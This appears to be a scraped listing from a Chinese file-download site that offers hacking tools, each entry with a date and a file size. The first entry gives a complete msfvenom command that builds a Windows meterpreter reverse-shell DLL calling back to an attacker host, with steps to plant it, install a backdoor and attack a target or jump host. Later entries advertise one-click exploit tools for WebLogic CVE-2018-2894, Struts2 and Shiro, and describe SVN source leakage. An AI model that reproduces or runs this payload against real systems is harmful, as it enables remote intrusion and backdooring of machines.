msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.***.*** LPORT=4**** -f dll > x64.dll，reverse或者bind方式，替换到目录下，执行第一个检测安装backdoor，第二个选项卡attack就可以了。方式可以直接打靶机，可以上传到跳板机执行。
2021-04-19 11:33:45
4.20MB
1
Weblogic 任意文件上传漏洞复现（CVE-2018-2894）附利用工具
2021-04-10 12:00:12
366KB
1
Struts2漏洞利用工具2019版 V2.3. Struts2漏洞检测工具，请勿非法攻击他人网站，安恒大佬的作品
2021-03-22 10:23:52
58KB
1
窗口化shiro漏洞一键检测利用工具ShiroExploit，支持对Shiro550（硬编码秘钥）和Shiro721（Padding Oracle）的一键化检测，支持简单回显。
2021-02-22 14:10:22
50MB
1
隐患描述：SVN（subversion）是源代码版本管理软件，造成SVN源代码漏洞的主要原因是管理员操作不规范。“在使用SVN管理本地代码过程中，会自动生成一个名为.svn的隐藏文件夹，其中包含重要的源代码信息。但一些网站管理员在发布代码时，不愿意使用‘导出’功能，而是直接复制代码文件夹到WEB服务器上，这就使.svn隐藏文件夹被暴露于外网环境，黑客可以借助其中包含的用于版本信息追踪的‘entries’文件，逐步摸清站点结构。”（可以利用.svn/entries文件，获取到服务器源码、svn服务器账号密码等信息）
2021-02-18 18:00:13
34KB
1